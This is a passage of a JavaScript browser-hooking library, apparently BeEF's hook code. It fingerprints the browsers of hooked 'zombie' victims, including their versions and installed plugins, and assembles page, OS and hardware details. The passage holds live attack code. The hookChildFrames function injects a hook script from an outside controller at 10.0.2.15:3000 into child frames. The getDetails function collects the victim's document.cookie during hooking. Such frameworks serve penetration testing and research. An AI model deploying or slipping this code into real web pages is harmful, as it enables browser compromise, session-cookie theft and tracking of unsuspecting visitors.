  5504. ;// Chrome 55
  5505. if (this.isC55iOS()) {
  5506. return '55'
  5507. }
  5508. ; // Chrome 55 for iOS
  5509. if (this.isC56()) {
  5510. return '56'
  5511. }
  5512. ;// Chrome 56
  5513. if (this.isC56iOS()) {
  5514. return '56'
  5515. }
  5516. ; // Chrome 56 for iOS
  5517. if (this.isC57()) {
  5518. return '57'
  5519. }
  5520. ;// Chrome 57
  5521. if (this.isC57iOS()) {
  5522. return '57'
  5523. }
  5524. ; // Chrome 57 for iOS
  5525. if (this.isC58()) {
  5526. return '58'
  5527. }
  5528. ;// Chrome 58
  5529. if (this.isC58iOS()) {
  5530. return '58'
  5531. }
  5532. ; // Chrome 58 for iOS
  5533.  
  5534.  
  5535. if (this.isFF2()) {
  5536. return '2'
  5537. }
  5538. ; // Firefox 2
  5539. if (this.isFF3()) {
  5540. return '3'
  5541. }
  5542. ; // Firefox 3
  5543. if (this.isFF3_5()) {
  5544. return '3.5'
  5545. }
  5546. ; // Firefox 3.5
  5547. if (this.isFF3_6()) {
  5548. return '3.6'
  5549. }
  5550. ; // Firefox 3.6
  5551. if (this.isFF4()) {
  5552. return '4'
  5553. }
  5554. ; // Firefox 4
  5555. if (this.isFF5()) {
  5556. return '5'
  5557. }
  5558. ; // Firefox 5
  5559. if (this.isFF6()) {
  5560. return '6'
  5561. }
  5562. ; // Firefox 6
  5563. if (this.isFF7()) {
  5564. return '7'
  5565. }
  5566. ; // Firefox 7
  5567. if (this.isFF8()) {
  5568. return '8'
  5569. }
  5570. ; // Firefox 8
  5571. if (this.isFF9()) {
  5572. return '9'
  5573. }
  5574. ; // Firefox 9
  5575. if (this.isFF10()) {
  5576. return '10'
  5577. }
  5578. ; // Firefox 10
  5579. if (this.isFF11()) {
  5580. return '11'
  5581. }
  5582. ; // Firefox 11
  5583. if (this.isFF12()) {
  5584. return '12'
  5585. }
  5586. ; // Firefox 12
  5587. if (this.isFF13()) {
  5588. return '13'
  5589. }
  5590. ; // Firefox 13
  5591. if (this.isFF14()) {
  5592. return '14'
  5593. }
  5594. ; // Firefox 14
  5595. if (this.isFF15()) {
  5596. return '15'
  5597. }
  5598. ; // Firefox 15
  5599. if (this.isFF16()) {
  5600. return '16'
  5601. }
  5602. ; // Firefox 16
  5603. if (this.isFF17()) {
  5604. return '17'
  5605. }
  5606. ; // Firefox 17
  5607. if (this.isFF18()) {
  5608. return '18'
  5609. }
  5610. ; // Firefox 18
  5611. if (this.isFF19()) {
  5612. return '19'
  5613. }
  5614. ; // Firefox 19
  5615. if (this.isFF20()) {
  5616. return '20'
  5617. }
  5618. ; // Firefox 20
  5619. if (this.isFF21()) {
  5620. return '21'
  5621. }
  5622. ; // Firefox 21
  5623. if (this.isFF22()) {
  5624. return '22'
  5625. }
  5626. ; // Firefox 22
  5627. if (this.isFF23()) {
  5628. return '23'
  5629. }
  5630. ; // Firefox 23
  5631. if (this.isFF24()) {
  5632. return '24'
  5633. }
  5634. ; // Firefox 24
  5635. if (this.isFF25()) {
  5636. return '25'
  5637. }
  5638. ; // Firefox 25
  5639. if (this.isFF26()) {
  5640. return '26'
  5641. }
  5642. ; // Firefox 26
  5643. if (this.isFF27()) {
  5644. return '27'
  5645. }
  5646. ; // Firefox 27
  5647. if (this.isFF28()) {
  5648. return '28'
  5649. }
  5650. ; // Firefox 28
  5651. if (this.isFF29()) {
  5652. return '29'
  5653. }
  5654. ; // Firefox 29
  5655. if (this.isFF30()) {
  5656. return '30'
  5657. }
  5658. ; // Firefox 30
  5659. if (this.isFF31()) {
  5660. return '31'
  5661. }
  5662. ; // Firefox 31
  5663. if (this.isFF32()) {
  5664. return '32'
  5665. }
  5666. ; // Firefox 32
  5667. if (this.isFF33()) {
  5668. return '33'
  5669. }
  5670. ; // Firefox 33
  5671. if (this.isFF34()) {
  5672. return '34'
  5673. }
  5674. ; // Firefox 34
  5675. if (this.isFF35()) {
  5676. return '35'
  5677. }
  5678. ; // Firefox 35
  5679. if (this.isFF36()) {
  5680. return '36'
  5681. }
  5682. ; // Firefox 36
  5683. if (this.isFF37()) {
  5684. return '37'
  5685. }
  5686. ; // Firefox 37
  5687. if (this.isFF38()) {
  5688. return '38'
  5689. }
  5690. ; // Firefox 38
  5691. if (this.isFF39()) {
  5692. return '39'
  5693. }
  5694. ; // Firefox 39
  5695. if (this.isFF40()) {
  5696. return '40'
  5697. }
  5698. ; // Firefox 40
  5699. if (this.isFF41()) {
  5700. return '41'
  5701. }
  5702. ; // Firefox 41
  5703. if (this.isFF42()) {
  5704. return '42'
  5705. }
  5706. ; // Firefox 42
  5707. if (this.isFF43()) {
  5708. return '43'
  5709. }
  5710. ; // Firefox 43
  5711. if (this.isFF44()) {
  5712. return '44'
  5713. }
  5714. ; // Firefox 44
  5715. if (this.isFF45()) {
  5716. return '45'
  5717. }
  5718. ; // Firefox 45
  5719. if (this.isFF46()) {
  5720. return '46'
  5721. }
  5722. ; // Firefox 46
  5723. if (this.isFF47()) {
  5724. return '47'
  5725. }
  5726. ; // Firefox 47
  5727. if (this.isFF48()) {
  5728. return '48'
  5729. }
  5730. ; // Firefox 48
  5731. if (this.isFF49()) {
  5732. return '49'
  5733. }
  5734. ; // Firefox 49
  5735. if (this.isFF50()) {
  5736. return '50'
  5737. }
  5738. ; // Firefox 50
  5739. if (this.isFF51()) {
  5740. return '51'
  5741. }
  5742. ; // Firefox 51
  5743. if (this.isFF52()) {
  5744. return '52'
  5745. }
  5746. ; // Firefox 52
  5747. if (this.isFF53()) {
  5748. return '53'
  5749. }
  5750. ; // Firefox 53
  5751. if (this.isFF54()) {
  5752. return '54'
  5753. }
  5754. ; // Firefox 54
  5755. if (this.isFF55()) {
  5756. return '55'
  5757. }
  5758. ; // Firefox 55
  5759. if (this.isFF56()) {
  5760. return '56'
  5761. }
  5762. ; // Firefox 56
  5763. if (this.isFF57()) {
  5764. return '57'
  5765. }
  5766. ; // Firefox 57
  5767. if (this.isFF58()) {
  5768. return '58'
  5769. }
  5770. ; // Firefox 58
  5771.  
  5772. if (this.isIE6()) {
  5773. return '6'
  5774. }
  5775. ; // Internet Explorer 6
  5776. if (this.isIE7()) {
  5777. return '7'
  5778. }
  5779. ; // Internet Explorer 7
  5780. if (this.isIE8()) {
  5781. return '8'
  5782. }
  5783. ; // Internet Explorer 8
  5784. if (this.isIE9()) {
  5785. return '9'
  5786. }
  5787. ; // Internet Explorer 9
  5788. if (this.isIE10()) {
  5789. return '10'
  5790. }
  5791. ; // Internet Explorer 10
  5792. if (this.isIE11()) {
  5793. return '11'
  5794. }
  5795. ; // Internet Explorer 11
  5796.  
  5797. if (this.isEdge()) {
  5798. return '1'
  5799. }
  5800. ; // Microsoft Edge
  5801.  
  5802. if (this.isEpi()) {
  5803. // believe the UserAgent string for version info - until whenever
  5804. var epiphanyRe = /Epiphany\/(\d+)/;
  5805. var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
  5806. if (versionDetails.length > 1) {
  5807. return versionDetails[1];
  5808. } else {
  5809. return "UNKNOWN"; // returns from here or it may take Safari version details
  5810. }
  5811. }
  5812. ; // Epiphany
  5813.  
  5814. if (this.isS4()) {
  5815. return '4'
  5816. }
  5817. ; // Safari 4
  5818. if (this.isS5()) {
  5819. return '5'
  5820. }
  5821. ; // Safari 5
  5822. if (this.isS6()) {
  5823. return '6'
  5824. }
  5825. ; // Safari 6
  5826.  
  5827. if (this.isS7()) {
  5828. return '7'
  5829. }
  5830. ; // Safari 7
  5831. if (this.isS8()) {
  5832. return '8'
  5833. }
  5834. ; // Safari 8
  5835.  
  5836. if (this.isO9_52()) {
  5837. return '9.5'
  5838. }
  5839. ; // Opera 9.5x
  5840. if (this.isO9_60()) {
  5841. return '9.6'
  5842. }
  5843. ; // Opera 9.6
  5844. if (this.isO10()) {
  5845. return '10'
  5846. }
  5847. ; // Opera 10.xx
  5848. if (this.isO11()) {
  5849. return '11'
  5850. }
  5851. ; // Opera 11.xx
  5852. if (this.isO12()) {
  5853. return '12'
  5854. }
  5855. ; // Opera 12.xx
  5856.  
  5857. return 'UNKNOWN'; // Unknown UA
  5858. },
  5859.  
  5860. /**
  5861. * Returns the type of user agent by hooked browser.
  5862. * @return: {String} User agent software.
  5863. *
  5864. * @example: beef.browser.getBrowserName()
  5865. */
  5866. getBrowserName: function () {
  5867.  
  5868. if (this.isC()) {
  5869. return 'C'
  5870. }
  5871. ; // Chrome any version
  5872. if (this.isFF()) {
  5873. return 'FF'
  5874. }
  5875. ; // Firefox any version
  5876. if (this.isIE()) {
  5877. return 'IE'
  5878. }
  5879. ; // Internet Explorer any version
  5880. if (this.isEdge()) {
  5881. return 'E'
  5882. }
  5883. ; // Microsoft Edge any version
  5884. if (this.isO()) {
  5885. return 'O'
  5886. }
  5887. ; // Opera any version
  5888. if (this.isEpi()) {
  5889. return 'EP'
  5890. }
  5891. ; // Epiphany any version
  5892. if (this.isS()) {
  5893. return 'S'
  5894. }
  5895. ; // Safari any version
  5896. if (this.isA()) {
  5897. return 'A'
  5898. }
  5899. ; // Avant any version
  5900. if (this.isMidori()) {
  5901. return 'MI'
  5902. }
  5903. ; // Midori any version
  5904. if (this.isOdyssey()) {
  5905. return 'OD'
  5906. }
  5907. ; // Odyssey any version
  5908. if (this.isBrave()) {
  5909. return 'BR'
  5910. }
  5911. ; // Brave any version
  5912. return 'UNKNOWN'; // Unknown UA
  5913. },
  5914.  
  5915. /**
  5916. * Hooks all child frames in the current window
  5917. * Restricted by same-origin policy
  5918. */
  5919. hookChildFrames: function () {
  5920.  
  5921. // create script object
  5922. var script = document.createElement('script');
  5923. script.type = 'text/javascript';
  5924. script.src = 'http://10.0.2.15:3000/hook.js';
  5925.  
  5926. // loop through child frames
  5927. for (var i = 0; i < self.frames.length; i++) {
  5928. try {
  5929. // append hook script
  5930. self.frames[i].document.body.appendChild(script);
  5931. beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
  5932. } catch (e) {
  5933. // warn on cross-origin
  5934. beef.debug("Hooking child frame failed: " + e.message);
  5935. }
  5936. }
  5937. },
  5938.  
  5939. /**
  5940. * Checks if the zombie has flash installed and enabled.
  5941. * @return: {Boolean} true or false.
  5942. *
  5943. * @example: if(beef.browser.hasFlash()) { ... }
  5944. */
  5945. hasFlash: function () {
  5946. if (!this.type().IE) {
  5947. return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
  5948. } else {
  5949. flash_versions = 12;
  5950. flash_installed = false;
  5951.  
  5952.  
  5953. if (this.type().IE11) {
  5954. flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
  5955. } else {
  5956. if (window.ActiveXObject != null) {
  5957. for (x = 2; x <= flash_versions; x++) {
  5958. try {
  5959. Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
  5960. if (Flash) {
  5961. flash_installed = true;
  5962. }
  5963. } catch (e) {
  5964. beef.debug("Creating Flash ActiveX object failed: " + e.message);
  5965. }
  5966. }
  5967. }
  5968. }
  5969. return flash_installed;
  5970. }
  5971. },
  5972.  
  5973. /**
  5974. * Checks if the zombie has the QuickTime plugin installed.
  5975. * @return: {Boolean} true or false.
  5976. *
  5977. * @example: if ( beef.browser.hasQuickTime() ) { ... }
  5978. */
  5979. hasQuickTime: function () {
  5980.  
  5981. var quicktime = false;
  5982.  
  5983. if (this.capabilities()["navigator.plugins"]) {
  5984.  
  5985. for (i = 0; i < navigator.plugins.length; i++) {
  5986.  
  5987. if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
  5988. quicktime = true;
  5989. }
  5990.  
  5991. }
  5992.  
  5993. // Has navigator.plugins
  5994. } else {
  5995.  
  5996. try {
  5997.  
  5998. var qt_test = new ActiveXObject('QuickTime.QuickTime');
  5999.  
  6000. } catch (e) {
  6001. beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
  6002. }
  6003.  
  6004. if (qt_test) {
  6005. quicktime = true;
  6006. }
  6007.  
  6008. }
  6009.  
  6010. return quicktime;
  6011.  
  6012. },
  6013.  
  6014. /**
  6015. * Checks if the zombie has the RealPlayer plugin installed.
  6016. * @return: {Boolean} true or false.
  6017. *
  6018. * @example: if ( beef.browser.hasRealPlayer() ) { ... }
  6019. */
  6020. hasRealPlayer: function () {
  6021.  
  6022. var realplayer = false;
  6023.  
  6024. if (this.capabilities()["navigator.plugins"]) {
  6025.  
  6026.  
  6027. for (i = 0; i < navigator.plugins.length; i++) {
  6028.  
  6029. if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
  6030. realplayer = true;
  6031. }
  6032.  
  6033. }
  6034.  
  6035. // has navigator.plugins
  6036. } else {
  6037.  
  6038. var definedControls = [
  6039. 'RealPlayer',
  6040. 'rmocx.RealPlayer G2 Control',
  6041. 'rmocx.RealPlayer G2 Control.1',
  6042. 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
  6043. 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
  6044. ];
  6045.  
  6046. for (var i = 0; i < definedControls.length; i++) {
  6047.  
  6048. try {
  6049. var rp_test = new ActiveXObject(definedControls[i]);
  6050. } catch (e) {
  6051. beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
  6052. }
  6053.  
  6054. if (rp_test) {
  6055. realplayer = true;
  6056.  
  6057. }
  6058. }
  6059. }
  6060.  
  6061. return realplayer;
  6062.  
  6063. },
  6064.  
  6065. /**
  6066. * Checks if the zombie has the Windows Media Player plugin installed.
  6067. * @return: {Boolean} true or false.
  6068. *
  6069. * @example: if ( beef.browser.hasWMP() ) { ... }
  6070. */
  6071. hasWMP: function () {
  6072.  
  6073. var wmp = false;
  6074.  
  6075. if (this.capabilities()["navigator.plugins"]) {
  6076.  
  6077.  
  6078. for (i = 0; i < navigator.plugins.length; i++) {
  6079.  
  6080. if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
  6081. wmp = true;
  6082. }
  6083.  
  6084. }
  6085.  
  6086. // Has navigator.plugins
  6087. } else {
  6088.  
  6089. try {
  6090.  
  6091. var wmp_test = new ActiveXObject('WMPlayer.OCX');
  6092.  
  6093. } catch (e) {
  6094. beef.debug("Creating WMP ActiveX object failed: " + e.message);
  6095. }
  6096.  
  6097. if (wmp_test) {
  6098. wmp = true;
  6099. }
  6100.  
  6101. }
  6102.  
  6103. return wmp;
  6104.  
  6105. },
  6106.  
  6107. /**
  6108. * Checks if VLC is installed
  6109. * @return: {Boolean} true or false
  6110. **/
  6111. hasVLC: function () {
  6112. var vlc = false;
  6113. if (!this.type().IE) {
  6114. for (i = 0; i < navigator.plugins.length; i++) {
  6115. if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
  6116. vlc = true;
  6117. }
  6118. }
  6119. } else {
  6120. try {
  6121. control = new ActiveXObject("VideoLAN.VLCPlugin.2");
  6122. vlc = true;
  6123. } catch (e) {
  6124. beef.debug("Creating VLC ActiveX object failed: " + e.message);
  6125. }
  6126. }
  6127. return vlc;
  6128. },
  6129.  
  6130. /**
  6131. * Checks if the zombie has Java enabled.
  6132. * @return: {Boolean} true or false.
  6133. *
  6134. * @example: if(beef.browser.javaEnabled()) { ... }
  6135. */
  6136. javaEnabled: function () {
  6137.  
  6138. return navigator.javaEnabled();
  6139.  
  6140. },
  6141.  
  6142. /**
  6143. * Checks if the Phonegap API is available from the hooked origin.
  6144. * @return: {Boolean} true or false.
  6145. *
  6146. * @example: if(beef.browser.hasPhonegap()) { ... }
  6147. */
  6148. hasPhonegap: function () {
  6149. var result = false;
  6150.  
  6151. try {
  6152. if (!!device.phonegap || !!device.cordova) result = true; else result = false;
  6153. }
  6154. catch (e) {
  6155. result = false;
  6156. }
  6157. return result;
  6158. },
  6159.  
  6160. /**
  6161. * Checks if the browser supports CORS
  6162. * @return: {Boolean} true or false.
  6163. *
  6164. * @example: if(beef.browser.hasCors()) { ... }
  6165. */
  6166. hasCors: function () {
  6167. if ('withCredentials' in new XMLHttpRequest())
  6168. return true;
  6169. else if (typeof XDomainRequest !== "undefined")
  6170. return true;
  6171. else
  6172. return false;
  6173. },
  6174.  
  6175. /**
  6176. * Checks if the zombie has Java installed and enabled.
  6177. * @return: {Boolean} true or false.
  6178. *
  6179. * @example: if(beef.browser.hasJava()) { ... }
  6180. */
  6181. hasJava: function () {
  6182. if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
  6183. return true;
  6184. } else {
  6185. return false;
  6186. }
  6187. },
  6188.  
  6189. /**
  6190. * Checks if the zombie has VBScript enabled.
  6191. * @return: {Boolean} true or false.
  6192. *
  6193. * @example: if(beef.browser.hasVBScript()) { ... }
  6194. */
  6195. hasVBScript: function () {
  6196. if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
  6197. return true;
  6198. } else {
  6199. return false;
  6200. }
  6201. },
  6202.  
  6203. /**
  6204. * Returns the list of plugins installed in the browser.
  6205. */
  6206. getPlugins: function () {
  6207.  
  6208. var results;
  6209. Array.prototype.unique = function () {
  6210. var o = {}, i, l = this.length, r = [];
  6211. for (i = 0; i < l; i += 1) o[this[i]] = this[i];
  6212. for (i in o) r.push(o[i]);
  6213. return r;
  6214. };
  6215.  
  6216. // Things lacking navigator.plugins
  6217. if (!this.capabilities()["navigator.plugins"]) results = this.getPluginsIE();
  6218.  
  6219. // All other browsers that support navigator.plugins
  6220. else if (navigator.plugins && navigator.plugins.length > 0) {
  6221. results = new Array();
  6222. for (var i = 0; i < navigator.plugins.length; i++) {
  6223.  
  6224. // Firefox returns exact plugin versions
  6225. if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
  6226.  
  6227. // Webkit and Presto (Opera)
  6228. // Don't support the version attribute
  6229. // Sometimes store the version in description (Real, Adobe)
  6230. else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
  6231. }
  6232. results = results.unique().toString();
  6233.  
  6234. // All browsers that don't support navigator.plugins
  6235. } else {
  6236. results = new Array();
  6237. //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
  6238. // On linux sistem the "version" slot is empty so I'll attach "description" after version
  6239. var plugins = {
  6240.  
  6241. 'AdobeAcrobat': {
  6242. 'control': 'Adobe Acrobat',
  6243. 'return': function (control) {
  6244. try {
  6245. version = navigator.plugins["Adobe Acrobat"]["description"];
  6246. return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
  6247.  
  6248. }
  6249. catch (e) {
  6250. }
  6251.  
  6252.  
  6253. }},
  6254. 'Flash': {
  6255. 'control': 'Shockwave Flash',
  6256. 'return': function (control) {
  6257. try {
  6258. version = navigator.plugins["Shockwave Flash"]["description"];
  6259. return 'Flash Player Version ' + version; //+ " description "+ filename;
  6260. }
  6261.  
  6262. catch (e) {
  6263. }
  6264. }},
  6265. 'Google_Talk_Plugin_Accelerator': {
  6266. 'control': 'Google Talk Plugin Video Accelerator',
  6267. 'return': function (control) {
  6268.  
  6269. try {
  6270. version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
  6271. return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
  6272. }
  6273. catch (e) {
  6274. }
  6275. }},
  6276. 'Google_Talk_Plugin': {
  6277. 'control': 'Google Talk Plugin',
  6278. 'return': function (control) {
  6279. try {
  6280. version = navigator.plugins['Google Talk Plugin']["description"];
  6281. return 'Google Talk Plugin Version ' + version;// " description "+ filename;
  6282. }
  6283. catch (e) {
  6284. }
  6285. }},
  6286. 'Facebook_Video_Calling_Plugin': {
  6287. 'control': 'Facebook Video Calling Plugin',
  6288. 'return': function (control) {
  6289. try {
  6290. version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
  6291. return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
  6292. }
  6293. catch (e) {
  6294. }
  6295. }},
  6296. 'Google_Update': {
  6297. 'control': 'Google Update',
  6298. 'return': function (control) {
  6299. try {
  6300. version = navigator.plugins["Google Update"]["description"];
  6301. return 'Google Update Version ' + version//+ " description "+ filename;
  6302. }
  6303. catch (e) {
  6304. }
  6305. }},
  6306. 'Windows_Activation_Technologies': {
  6307. 'control': 'Windows Activation Technologies',
  6308. 'return': function (control) {
  6309. try {
  6310. version = navigator.plugins["Windows Activation Technologies"]["description"];
  6311. return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
  6312. }
  6313. catch (e) {
  6314. }
  6315.  
  6316. }},
  6317. 'VLC_Web_Plugin': {
  6318. 'control': 'VLC Web Plugin',
  6319. 'return': function (control) {
  6320. try {
  6321. version = navigator.plugins["VLC Web Plugin"]["description"];
  6322. return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
  6323. }
  6324. catch (e) {
  6325. }
  6326. }},
  6327. 'Google_Earth_Plugin': {
  6328. 'control': 'Google Earth Plugin',
  6329.  
  6330. 'return': function (control) {
  6331. try {
  6332. version = navigator.plugins['Google Earth Plugin']["description"];
  6333. return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
  6334. }
  6335. catch (e) {
  6336. }
  6337. }},
  6338. 'FoxitReader_Plugin': {
  6339. 'control': 'FoxitReader Plugin',
  6340. 'return': function (control) {
  6341. try {
  6342. version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
  6343. return 'FoxitReader Plugin Version ' + version;
  6344. } catch (e) {
  6345. }
  6346. }}
  6347. };
  6348.  
  6349. var c = 0;
  6350. for (var i in plugins) {
  6351. //each element od plugins
  6352. var control = plugins[i]['control'];
  6353. try {
  6354. var version = plugins[i]['return'](control);
  6355. if (version) {
  6356. results[c] = version;
  6357. c = c + 1;
  6358. }
  6359. }
  6360. catch (e) {
  6361. }
  6362.  
  6363. }
  6364. }
  6365. // Return results
  6366. return results;
  6367. },
  6368.  
  6369. /**
  6370. * Returns a list of plugins detected by IE. This is a hack because IE doesn't
  6371. * support navigator.plugins
  6372. */
  6373. getPluginsIE: function () {
  6374. var results = '';
  6375. var plugins = {
  6376. 'AdobePDF6': {
  6377. 'control': 'PDF.PdfCtrl',
  6378. 'return': function (control) {
  6379. version = control.getVersions().split(',');
  6380. version = version[0].split('=');
  6381. return 'Acrobat Reader v' + parseFloat(version[1]);
  6382. }},
  6383. 'AdobePDF7': {
  6384. 'control': 'AcroPDF.PDF',
  6385. 'return': function (control) {
  6386. version = control.getVersions().split(',');
  6387. version = version[0].split('=');
  6388. return 'Acrobat Reader v' + parseFloat(version[1]);
  6389. }},
  6390. 'Flash': {
  6391. 'control': 'ShockwaveFlash.ShockwaveFlash',
  6392. 'return': function (control) {
  6393. version = control.getVariable('$version').substring(4);
  6394. return 'Flash Player v' + version.replace(/,/g, ".");
  6395. }},
  6396. 'Quicktime': {
  6397. 'control': 'QuickTime.QuickTime',
  6398. 'return': function (control) {
  6399. return 'QuickTime Player';
  6400. }},
  6401. 'RealPlayer': {
  6402. 'control': 'RealPlayer',
  6403. 'return': function (control) {
  6404. version = control.getVersionInfo();
  6405. return 'RealPlayer v' + parseFloat(version);
  6406. }},
  6407. 'Shockwave': {
  6408. 'control': 'SWCtl.SWCtl',
  6409. 'return': function (control) {
  6410. version = control.ShockwaveVersion('').split('r');
  6411. return 'Shockwave v' + parseFloat(version[0]);
  6412. }},
  6413. 'WindowsMediaPlayer': {
  6414. 'control': 'WMPlayer.OCX',
  6415. 'return': function (control) {
  6416. return 'Windows Media Player v' + parseFloat(control.versionInfo);
  6417. }},
  6418. 'FoxitReaderPlugin': {
  6419. 'control': 'FoxitReader.FoxitReaderCtl.1',
  6420. 'return': function (control) {
  6421. return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
  6422. }}
  6423. };
  6424. if (window.ActiveXObject) {
  6425. var j = 0;
  6426. for (var i in plugins) {
  6427. var control = null;
  6428. var version = null;
  6429. try {
  6430. control = new ActiveXObject(plugins[i]['control']);
  6431. } catch (e) {
  6432. }
  6433. if (control) {
  6434. if (j != 0)
  6435. results += ', ';
  6436. results += plugins[i]['return'](control);
  6437. j++;
  6438. }
  6439. }
  6440. }
  6441. return results;
  6442. },
  6443.  
  6444. /**
  6445. * Returns zombie screen size and color depth.
  6446. */
  6447. getScreenSize: function () {
  6448. return {
  6449. width: window.screen.width,
  6450. height: window.screen.height,
  6451. colordepth: window.screen.colorDepth
  6452. }
  6453. },
  6454.  
  6455. /**
  6456. * Returns zombie browser window size.
  6457. * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
  6458. */
  6459. getWindowSize: function () {
  6460. var myWidth = 0, myHeight = 0;
  6461. if (typeof( window.innerWidth ) == 'number') {
  6462. // Non-IE
  6463. myWidth = window.innerWidth;
  6464. myHeight = window.innerHeight;
  6465. } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
  6466. // IE 6+ in 'standards compliant mode'
  6467. myWidth = document.documentElement.clientWidth;
  6468. myHeight = document.documentElement.clientHeight;
  6469. } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
  6470. // IE 4 compatible
  6471. myWidth = document.body.clientWidth;
  6472. myHeight = document.body.clientHeight;
  6473. }
  6474. return {
  6475. width: myWidth,
  6476. height: myHeight
  6477. }
  6478. },
  6479.  
  6480. /**
  6481. * Construct hash from browser details. This function is used to grab the browser details during the hooking process
  6482. */
  6483. getDetails: function () {
  6484. var details = new Array();
  6485.  
  6486. var browser_name = beef.browser.getBrowserName();
  6487. var browser_version = beef.browser.getBrowserVersion();
  6488. var browser_reported_name = beef.browser.getBrowserReportedName();
  6489. var browser_language = beef.browser.getBrowserLanguage();
  6490. var page_title = (document.title) ? document.title : "Unknown";
  6491. var page_uri = (document.location.href) ? document.location.href : "Unknown";
  6492. var page_referrer = (document.referrer) ? document.referrer : "Unknown";
  6493. var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
  6494. switch (document.location.protocol) {
  6495. case "http:":
  6496. var default_port = "80";
  6497. break;
  6498. case "https:":
  6499. var default_port = "443";
  6500. break
  6501. default:
  6502. var default_port = "";
  6503. }
  6504. var hostport = (document.location.port) ? document.location.port : default_port;
  6505. var browser_plugins = beef.browser.getPlugins();
  6506. var date_stamp = new Date().toString();
  6507. var os_name = beef.os.getName();
  6508. var os_version = beef.os.getVersion();
  6509. var default_browser = beef.os.getDefaultBrowser();
  6510. var hw_name = beef.hardware.getName();
  6511. var cpu_type = beef.hardware.cpuType();
  6512. var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
  6513. var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
  6514. var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
  6515. if (value == true) return value;
  6516. else if (typeof value == 'object') return value;
  6517. else return undefined;
  6518. });
  6519. var screen_size = beef.browser.getScreenSize();
  6520. var window_size = beef.browser.getWindowSize();
  6521. var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
  6522. var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
  6523. var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
  6524. var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
  6525. var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
  6526. var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
  6527. var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
  6528. var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
  6529. var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
  6530. var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
  6531. var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
  6532. var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
  6533. try {
  6534. var cookies = document.cookie;
  6535. /* Never stop the madness dear C.
  6536. * var veglol = beef.browser.cookie.veganLol();
  6537. */
  6538. if (cookies) details['Cookies'] = cookies;
  6539. } catch (e) {
  6540. details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
  6541. }
  6542.  
  6543. if (browser_name) details['BrowserName'] = browser_name;
  6544. if (browser_version) details['BrowserVersion'] = browser_version;
  6545. if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
  6546. if (browser_language) details['BrowserLanguage'] = browser_language;
  6547. if (page_title) details['PageTitle'] = page_title;
  6548. if (page_uri) details['PageURI'] = page_uri;
  6549. if (page_referrer) details['PageReferrer'] = page_referrer;
  6550. if (hostname) details['HostName'] = hostname;
  6551. if (hostport) details['HostPort'] = hostport;
  6552. if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
  6553. if (os_name) details['OsName'] = os_name;
  6554. if (os_version) details['OsVersion'] = os_version;
  6555. if (default_browser) details['DefaultBrowser'] = default_browser;
  6556. if (hw_name) details['Hardware'] = hw_name;
  6557. if (cpu_type) details['CPU'] = cpu_type;
  6558. if (touch_enabled) details['TouchEnabled'] = touch_enabled;
  6559. if (date_stamp) details['DateStamp'] = date_stamp;
  6560. if (browser_platform) details['BrowserPlatform'] = browser_platform;
  6561. if (browser_type) details['BrowserType'] = browser_type;
  6562. if (screen_size) details['ScreenSize'] = screen_size;
  6563. if (window_size) details['WindowSize'] = window_size;
  6564. if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
  6565. if (has_flash) details['HasFlash'] = has_flash;
  6566. if (has_phonegap) details['HasPhonegap'] = has_phonegap;
  6567. if (has_web_socket) details['HasWebSocket'] = has_web_socket;
  6568. if (has_web_worker) details['HasWebWorker'] = has_web_worker;
  6569. if (has_web_gl) details['HasWebGL'] = has_web_gl;
  6570. if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
